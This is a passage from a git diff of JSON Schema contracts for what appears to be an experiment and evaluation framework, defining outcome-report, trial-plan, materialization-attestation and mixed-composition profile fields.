Hash" + }, + "raw_data_hash_algorithm": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Raw Data Hash Algorithm" + }, + "raw_data_is_truncated": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Raw Data Is Truncated" + }, + "raw_data_size": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Raw Data Size" + }, + "raw_data_untruncated_size": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Raw Data Untruncated Size" + } + }, + "title": "RawDataIntegrityModel", + "type": "object" + }, + "SourcePipelineModel": { + "additionalProperties": false, + "description": "Source product, identity, and pipeline-time facts for a mapped record.", + "properties": { + "correlation_uid": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Correlation Uid" + }, + "log_name": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Log Name" + }, + "log_provider": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Log Provider" + }, + "log_source": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Log Source" + }, + "logged_time": { + "anyOf": [ + { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Logged Time" + }, + "original_event_uid": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Original Event Uid" + }, + "original_time": { + "anyOf": [ + { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Original Time" + }, + "processed_time": { + "anyOf": [ + { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Processed Time" + }, + "product_ref": { + "minLength": 1, + "title": "Product Ref", + "type": "string" + }, + "product_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Product Version" + }, + "sequence": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Sequence" + }, + "transmit_time": { + "anyOf": [ + { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Transmit Time" + } + }, + "required": [ + "product_ref" + ], + "title": "SourcePipelineModel", + "type": "object" + }, + "SourceStatusModel": { + "additionalProperties": false, + "description": "Normalized source status claim for one participant runtime record.", + "properties": { + "source_status_label": { + "minLength": 1, + "title": "Source Status Label", + "type": "string" + }, + "source_status_mapping": { + "minLength": 1, + "title": "Source Status Mapping", + "type": "string" + }, + "status": { + "minLength": 1, + "title": "Status", + "type": "string" + }, + "status_code": { + "minLength": 1, + "title": "Status Code", + "type": "string" + }, + "status_detail": { + "minLength": 1, + "title": "Status Detail", + "type": "string" + }, + "status_id": { + "title": "Status Id", + "type": "integer" + } + }, + "required": [ + "status_id", + "status", + "status_code", + "status_detail", + "source_status_label", + "source_status_mapping" + ], + "title": "SourceStatusModel", + "type": "object" + } + }, + "$id": "https://openrae.github.io/rae/schemas/participant-outcome-report-v2.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Local state at an exact history cut; v1 records are never upgraded implicitly.", + "properties": { + "actor_ref": { + "minLength": 1, + "title": "Actor Ref", + "type": "string" + }, + "attainment": { + "enum": [ + "undetermined", + "not_attained", + "partial", + "attained" + ], + "title": "Attainment", + "type": "string" + }, + "authorization_scope": { + "minLength": 1, + "title": "Authorization Scope", + "type": "string" + }, + "behavior_history_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Behavior History Digest", + "type": "string" + }, + "behavior_history_length": { + "minimum": 0, + "title": "Behavior History Length", + "type": "integer" + }, + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", + "type": "string" + }, + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", + "type": "string" + }, + "confidence": { + "anyOf": [ + { + "maximum": 1, + "minimum": 0, + "type": "number" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Confidence" + }, + "correction_basis": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Correction Basis" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "event_classification": { + "anyOf": [ + { + "$ref": "#/$defs/EventClassificationModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "event_id": { + "minLength": 1, + "title": "Event Id", + "type": "string" + }, + "event_type": { + "const": "participant_outcome_report", + "title": "Event Type", + "type": "string" + }, + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" + }, + "excluded_observation_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Excluded Observation Refs", + "type": "array" + }, + "extension_policy": { + "minLength": 1, + "title": "Extension Policy", + "type": "string" + }, + "freshness": { + "const": "current_at_recorded_cut", + "title": "Freshness", + "type": "string" + }, + "granular_markings": { + "additionalProperties": { + "items": { + "minLength": 1, + "type": "string" + }, + "type": "array" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Granular Markings", + "type": "object" + }, + "ingested_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Ingested At", + "type": "string" + }, + "interpretation_rule_ref": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Interpretation Rule Ref", + "type": "string" + }, + "knowledge": { + "enum": [ + "unknown", + "supported", + "conflicting", + "withheld" + ], + "title": "Knowledge", + "type": "string" + }, + "logical_order_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Logical Order Ref" + }, + "marking_definition_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Marking Definition Refs", + "type": "array" + }, + "markings": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Markings", + "type": "array" + }, + "object_marking_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Object Marking Refs", + "type": "array" + }, + "observation_refs": { + "items": { + "$ref": "#/$defs/ParticipantOutcomeObservationRefModel" + }, + "title": "Observation Refs", + "type": "array" + }, + "occurred_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Occurred At", + "type": "string" + }, + "ordering_basis": { + "enum": [ + "total_order", + "partial_order", + "simultaneous", + "serialized_backend_order", + "simulation_tick", + "control_plane_order", + "logical_clock", + "vector_clock", + "wall_clock_only", + "unknown", + "unsupported" + ], + "title": "Ordering Basis", + "type": "string" + }, + "outcome_id": { + "minLength": 1, + "title": "Outcome Id", + "type": "string" + }, + "participant_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Participant Address", + "type": "string" + }, + "predecessor_event_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Predecessor Event Ref" + }, + "predecessor_event_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Predecessor Event Refs", + "type": "array" + }, + "producer_ref": { + "minLength": 1, + "title": "Producer Ref", + "type": "string" + }, + "provenance_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Provenance Refs", + "type": "array" + }, + "raw_data_integrity": { + "anyOf": [ + { + "$ref": "#/$defs/RawDataIntegrityModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "recorded_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Recorded At", + "type": "string" + }, + "redaction_policy_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redaction Policy Ref" + }, + "revision": { + "minimum": 1, + "title": "Revision", + "type": "integer" + }, + "rule_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Rule Digest", + "type": "string" + }, + "rule_spec": { + "$ref": "#/$defs/OutcomeInterpretationRule" + }, + "schema_name": { + "const": "raes.participant_runtime.outcome_report", + "title": "Schema Name", + "type": "string" + }, + "schema_version": { + "const": "2.0.0", + "title": "Schema Version", + "type": "string" + }, + "sequence_number": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Sequence Number" + }, + "source_pipeline": { + "anyOf": [ + { + "$ref": "#/$defs/SourcePipelineModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "source_raw_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Raw Ref" + }, + "source_record_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Record Ref" + }, + "source_status": { + "anyOf": [ + { + "$ref": "#/$defs/SourceStatusModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "source_system_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source System Ref" + }, + "state_relationships": { + "items": { + "$ref": "#/$defs/ParticipantOutcomeReportStateRelationshipModel" + }, + "title": "State Relationships", + "type": "array" + }, + "temporal_context": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Temporal Context" + } + }, + "required": [ + "event_id", + "schema_name", + "schema_version", + "event_type", + "extension_policy", + "participant_address", + "episode_id", + "occurred_at", + "recorded_at", + "ingested_at", + "clock_authority", + "ordering_basis", + "actor_ref", + "producer_ref", + "authorization_scope", + "outcome_id", + "interpretation_rule_ref", + "rule_digest", + "rule_spec", + "revision", + "predecessor_event_ref", + "behavior_history_length", + "behavior_history_digest", + "observation_refs", + "category", + "attainment", + "knowledge", + "freshness" + ], + "title": "ParticipantOutcomeReportV2Model", + "type": "object" +} diff --git a/contracts/schemas/plans/admitted-trial-plan-v1.json b/contracts/schemas/plans/admitted-trial-plan-v1.json index 272adebdb..befe66310 100644 --- a/contracts/schemas/plans/admitted-trial-plan-v1.json +++ b/contracts/schemas/plans/admitted-trial-plan-v1.json @@ -137,6 +137,44 @@ "title": "AdmittedInstantiationProvenanceModel", "type": "object" }, + "AdmittedMixedCompositionBindingModel": { + "additionalProperties": false, + "description": "Exact composition-profile realization selected for one trial entry.", + "properties": { + "participant_manifest_refs": { + "items": { + "$ref": "#/$defs/AdmittedParticipantManifestReferenceModel" + }, + "title": "Participant Manifest Refs", + "type": "array" + }, + "profile_ref": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "realization_kind": { + "const": "mixed-composition", + "default": "mixed-composition", + "title": "Realization Kind", + "type": "string" + }, + "source_trial": { + "anyOf": [ + { + "$ref": "#/$defs/AdmittedTrialSourceReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + } + }, + "required": [ + "profile_ref" + ], + "title": "AdmittedMixedCompositionBindingModel", + "type": "object" + }, "AdmittedParticipantManifestReferenceModel": { "additionalProperties": false, "description": "Digest-pinned participant implementation manifest authority.", @@ -258,7 +296,15 @@ "description": "One immutable admitted trial entry at a unique logical coordinate.", "properties": { "apparatus": { - "$ref": "#/$defs/AdmittedApparatusBindingModel" + "anyOf": [ + { + "$ref": "#/$defs/AdmittedApparatusBindingModel" + }, + { + "$ref": "#/$defs/AdmittedMixedCompositionBindingModel" + } + ], + "title": "Apparatus" }, "bindings": { "items": { @@ -407,6 +453,14 @@ "type": "array", "uniqueItems": true }, + "mixed_composition_profile_refs": { + "items": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "title": "Mixed Composition Profile Refs", + "type": "array", + "uniqueItems": true + }, "scenario_family_ref": { "$ref": "#/$defs/ExperimentScenarioFamilyReferenceModel" }, @@ -455,7 +509,10 @@ "type": "string" }, "compiler_profile": { - "const": "trial-compiler-v1", + "enum": [ + "trial-compiler-v1", + "trial-compiler-mixed-composition-v1" + ], "title": "Compiler Profile", "type": "string" }, @@ -465,7 +522,10 @@ "type": "string" }, "entry_identity_profile": { - "const": "trial-entry-identity-v1", + "enum": [ + "trial-entry-identity-v1", + "trial-entry-identity-mixed-composition-v1" + ], "title": "Entry Identity Profile", "type": "string" }, @@ -490,7 +550,10 @@ "type": "string" }, "run_identity_profile": { - "const": "archival-run-identity-v1", + "enum": [ + "archival-run-identity-v1", + "archival-run-identity-mixed-composition-v1" + ], "title": "Run Identity Profile", "type": "string" }, @@ -516,6 +579,48 @@ "title": "AdmittedTrialPlanProfilesModel", "type": "object" }, + "AdmittedTrialSourceReferenceModel": { + "additionalProperties": false, + "description": "Exact immediate-source join for a linked realization change.", + "properties": { + "entry_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Entry Digest", + "type": "string" + }, + "plan_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Plan Digest", + "type": "string" + }, + "plan_entry_id": { + "minLength": 1, + "title": "Plan Entry Id", + "type": "string" + }, + "plan_id": { + "minLength": 1, + "title": "Plan Id", + "type": "string" + }, + "run_id": { + "minLength": 1, + "title": "Run Id", + "type": "string" + } + }, + "required": [ + "plan_id", + "plan_digest", + "plan_entry_id", + "entry_digest", + "run_id" + ], + "title": "AdmittedTrialSourceReferenceModel", + "type": "object" + }, "ApparatusBindingTargetModel": { "additionalProperties": false, "description": "Canonical target declared by a selected portable apparatus manifest.", @@ -1253,6 +1358,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -2643,7 +2749,7 @@ "type": "object", "x-raes-invariants": [ { - "description": "An admitted trial plan keeps map keys equal to embedded ids, keeps plan/entry/run identities distinct, gives every entry a unique logical coordinate and archival run_id, resolves cleanup and stochastic-control joins (with each draw addressed to its entry coordinate) and isolation-proof entries within the sealed plan, requires values duplicated from incumbent authorities (random-stream profile, binding condition/family) to agree, forbids bounded-parallel entries from sharing resources, matches admission cardinality, and binds the complete plan with a recomputed plan_digest over the entry set.", + "description": "An admitted trial plan keeps map keys equal to embedded ids, keeps plan/entry/run identities distinct, gives every entry a unique logical coordinate and archival run_id, resolves cleanup and stochastic-control joins (with each draw addressed to its entry coordinate), exact mixed-composition profile inputs, and isolation-proof entries within the sealed plan, requires values duplicated from incumbent authorities (random-stream profile, binding condition/family) to agree, forbids bounded-parallel entries from sharing resources, matches admission cardinality, and binds the complete plan with a recomputed plan_digest over the entry set.", "id": "admitted-trial-plan-identity-joins-and-integrity", "inputs": [ { diff --git a/contracts/schemas/plans/backend-augmentation-scope-v1.json b/contracts/schemas/plans/backend-augmentation-scope-v1.json new file mode 100644 index 000000000..0cd281529 --- /dev/null +++ b/contracts/schemas/plans/backend-augmentation-scope-v1.json @@ -0,0 +1,90 @@ +{ + "$defs": { + "AugmentationEffect": { + "additionalProperties": false, + "description": "Explain an existing materialization difference, never duplicate world values.", + "properties": { + "affected_scopes": { + "items": { + "maxLength": 4096, + "pattern": "^(?:/(?:[^~/]|~[01])*)*$", + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Affected Scopes", + "type": "array" + }, + "field_pointer": { + "maxLength": 4096, + "pattern": "^(?:/(?:[^~/]|~[01])*)*$", + "title": "Field Pointer", + "type": "string" + }, + "requirement_refs": { + "items": { + "maxLength": 4096, + "minLength": 1, + "pattern": "^(?:backend-operational|/(?:[^~]|~[01])*)$", + "type": "string" + }, + "maxItems": 64, + "minItems": 1, + "title": "Requirement Refs", + "type": "array" + } + }, + "required": [ + "field_pointer", + "requirement_refs", + "affected_scopes" + ], + "title": "AugmentationEffect", + "type": "object" + } + }, + "$id": "https://openrae.github.io/rae/schemas/backend-augmentation-scope-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Read-only complete prospective common SDL content, not an attestation.", + "properties": { + "binding_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Binding Digest", + "type": "string" + }, + "content": { + "maxLength": 1048576, + "minLength": 1, + "title": "Content", + "type": "string" + }, + "contract_id": { + "const": "backend-augmentation-scope-v1", + "default": "backend-augmentation-scope-v1", + "title": "Contract Id", + "type": "string" + }, + "coverage_profile": { + "const": "raes-materialization-effects/v1", + "default": "raes-materialization-effects/v1", + "title": "Coverage Profile", + "type": "string" + }, + "effects": { + "default": [], + "items": { + "$ref": "#/$defs/AugmentationEffect" + }, + "maxItems": 4096, + "title": "Effects", + "type": "array" + } + }, + "required": [ + "binding_digest", + "content" + ], + "title": "AugmentationPreparation", + "type": "object" +} diff --git a/contracts/schemas/plans/backend-materialization-attestation-v1.json b/contracts/schemas/plans/backend-materialization-attestation-v1.json new file mode 100644 index 000000000..c98b3cf23 --- /dev/null +++ b/contracts/schemas/plans/backend-materialization-attestation-v1.json @@ -0,0 +1,48 @@ +{ + "$id": "https://openrae.github.io/rae/schemas/backend-materialization-attestation-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "A producer's bounded SDL bytes; admission is owned by the SDL consumer.", + "properties": { + "contract_id": { + "const": "backend-materialization-attestation-v1", + "default": "backend-materialization-attestation-v1", + "title": "Contract Id", + "type": "string" + }, + "sdl": { + "maxLength": 1048576, + "minLength": 1, + "title": "Sdl", + "type": "string" + } + }, + "required": [ + "sdl" + ], + "title": "MaterializationSubmission", + "type": "object", + "x-raes-invariants": [ + { + "description": "SDL bytes require bounded parsing and semantic, original-authority, complete inventory and execution-context validation after materialization hooks.", + "id": "backend-materialization-submission-admission", + "inputs": [ + { + "contract_id": "backend-materialization-attestation-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_processor.planner.admit_materialization_submission" + } + ], + "x-raes-semantic-profile": { + "contract_id": "backend-materialization-attestation-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/plans/evaluation-plan-v1.json b/contracts/schemas/plans/evaluation-plan-v1.json index 529a0ae9a..5a10d1322 100644 --- a/contracts/schemas/plans/evaluation-plan-v1.json +++ b/contracts/schemas/plans/evaluation-plan-v1.json @@ -484,6 +484,49 @@ "type": "object" }, "JsonValue": {}, + "MaterializationSource": { + "additionalProperties": false, + "description": "Trusted full source context sealed into the exact operation plan.", + "properties": { + "authored_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Authored Digest", + "type": "string" + }, + "contract_id": { + "const": "backend-materialization-attestation-v1", + "default": "backend-materialization-attestation-v1", + "title": "Contract Id", + "type": "string" + }, + "instantiated_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Instantiated Digest", + "type": "string" + }, + "run_id": { + "maxLength": 128, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9_.-]*$", + "title": "Run Id", + "type": "string" + }, + "snapshot": { + "maxLength": 1048576, + "minLength": 1, + "title": "Snapshot", + "type": "string" + } + }, + "required": [ + "snapshot", + "authored_digest", + "instantiated_digest", + "run_id" + ], + "title": "MaterializationSource", + "type": "object" + }, "ObservationBasis": { "description": "Truthful basis requested for a reportable value.", "enum": [ @@ -774,6 +817,11 @@ "$schema": "https://json-schema.org/draft/2020-12/schema", "additionalProperties": false, "properties": { + "augmentation_scope_required": { + "default": false, + "title": "Augmentation Scope Required", + "type": "boolean" + }, "diagnostics": { "items": { "additionalProperties": true, @@ -795,6 +843,17 @@ "default": null, "title": "Instantiation Id" }, + "materialization_source": { + "anyOf": [ + { + "$ref": "#/$defs/MaterializationSource" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_demands": { "items": { "$ref": "#/$defs/EffectiveObservationDemand" @@ -802,6 +861,19 @@ "title": "Observation Demands", "type": "array" }, + "operation_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Operation Id" + }, "operations": { "items": { "$ref": "#/$defs/PlanOperationModel" @@ -809,6 +881,15 @@ "title": "Operations", "type": "array" }, + "purpose": { + "default": "execution", + "enum": [ + "execution", + "inspection" + ], + "title": "Purpose", + "type": "string" + }, "run_id": { "anyOf": [ { diff --git a/contracts/schemas/plans/mixed-participant-composition-profile-v1.json b/contracts/schemas/plans/mixed-participant-composition-profile-v1.json new file mode 100644 index 000000000..259ce9f72 --- /dev/null +++ b/contracts/schemas/plans/mixed-participant-composition-profile-v1.json @@ -0,0 +1,1345 @@ +{ + "$defs": { + "CompositionFeatureRequirementModel": { + "additionalProperties": false, + "description": "One API-407 feature strength required from one allocated provider.", + "properties": { + "allowed_downgrade_level": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantFeatureSupportLevel" + }, + { + "type": "null" + } + ], + "default": null + }, + "downgrade_policy_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Downgrade Policy Ref" + }, + "downgrade_provenance_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Downgrade Provenance Ref" + }, + "feature": { + "minLength": 1, + "title": "Feature", + "type": "string" + }, + "required_level": { + "$ref": "#/$defs/ParticipantFeatureSupportLevel", + "default": "exact" + } + }, + "required": [ + "feature" + ], + "title": "CompositionFeatureRequirementModel", + "type": "object" + }, + "ExperimentManifestReferenceModel": { + "additionalProperties": false, + "allOf": [ + { + "properties": { + "ref_path": { + "type": "null" + } + } + }, + { + "if": { + "properties": { + "ref_digest": { + "type": "string" + } + }, + "required": [ + "ref_digest" + ] + }, + "then": { + "properties": { + "subject_ref": { + "properties": { + "ref_kind": { + "enum": [ + "processor", + "backend" + ] + } + }, + "required": [ + "ref_kind" + ] + } + }, + "required": [ + "subject_ref" + ] + } + }, + { + "if": { + "properties": { + "ref_digest": { + "type": "string" + }, + "subject_ref": { + "properties": { + "ref_kind": { + "const": "processor" + } + }, + "required": [ + "ref_kind" + ] + } + }, + "required": [ + "ref_digest", + "subject_ref" + ] + }, + "then": { + "properties": { + "ref_version": { + "const": "processor-manifest/v2" + } + } + } + }, + { + "if": { + "properties": { + "ref_digest": { + "type": "string" + }, + "subject_ref": { + "properties": { + "ref_kind": { + "const": "backend" + } + }, + "required": [ + "ref_kind" + ] + } + }, + "required": [ + "ref_digest", + "subject_ref" + ] + }, + "then": { + "properties": { + "ref_version": { + "const": "backend-manifest/v2" + } + } + } + }, + { + "if": { + "properties": { + "subject_ref": { + "type": "object" + } + }, + "required": [ + "subject_ref" + ] + }, + "then": { + "properties": { + "subject_ref": { + "properties": { + "ref_digest": { + "type": "null" + }, + "ref_path": { + "type": "null" + } + } + } + } + } + } + ], + "description": "Reference constrained to an apparatus or capability manifest.", + "properties": { + "ref_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Digest" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "manifest", + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Path" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + }, + "subject_ref": { + "anyOf": [ + { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentManifestReferenceModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Manifest digest qualifiers are limited to processor/backend manifest refs that can be checked against concrete manifest payload digests; manifest path qualifiers are not accepted in v1.", + "id": "manifest-reference-digest-scope-valid", + "inputs": [ + { + "contract_id": "experiment-task-v1", + "instance_path": "#/$defs/ExperimentManifestReferenceModel" + }, + { + "contract_id": "experiment-apparatus-context-v1", + "instance_path": "#/$defs/ExperimentManifestReferenceModel" + }, + { + "contract_id": "experiment-run-v1", + "instance_path": "#/$defs/ExperimentManifestReferenceModel" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ExperimentManifestReferenceModel._validate_manifest_reference_scope" + } + ] + }, + "ExperimentReferenceModel": { + "additionalProperties": false, + "description": "Typed reference to an experiment-core or adjacent RAES artifact.", + "properties": { + "ref_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Digest" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "enum": [ + "processor", + "backend", + "participant-implementation", + "scenario", + "scenario-snapshot", + "materialization-attestation", + "task", + "authoring-input", + "protocol", + "apparatus-context", + "run", + "metric-definition", + "result", + "study", + "manifest", + "profile", + "capability", + "capture-spec", + "evidence", + "evidence-record", + "derived-measure", + "measurement-channel", + "analysis-artifact", + "other" + ], + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Path" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentReferenceModel", + "type": "object" + }, + "MixedCompositionAllocationModel": { + "additionalProperties": false, + "description": "Stable allocation of one compiled semantic target to one provider.", + "properties": { + "action_authority_ref": { + "minLength": 1, + "title": "Action Authority Ref", + "type": "string" + }, + "allocation_id": { + "minLength": 1, + "title": "Allocation Id", + "type": "string" + }, + "controller_ref": { + "minLength": 1, + "title": "Controller Ref", + "type": "string" + }, + "feature_requirements": { + "items": { + "$ref": "#/$defs/CompositionFeatureRequirementModel" + }, + "title": "Feature Requirements", + "type": "array" + }, + "participant_identity_ref": { + "minLength": 1, + "title": "Participant Identity Ref", + "type": "string" + }, + "phase_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Phase Ids", + "type": "array" + }, + "provider_component_id": { + "minLength": 1, + "title": "Provider Component Id", + "type": "string" + }, + "routing_ref": { + "minLength": 1, + "title": "Routing Ref", + "type": "string" + }, + "target_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": 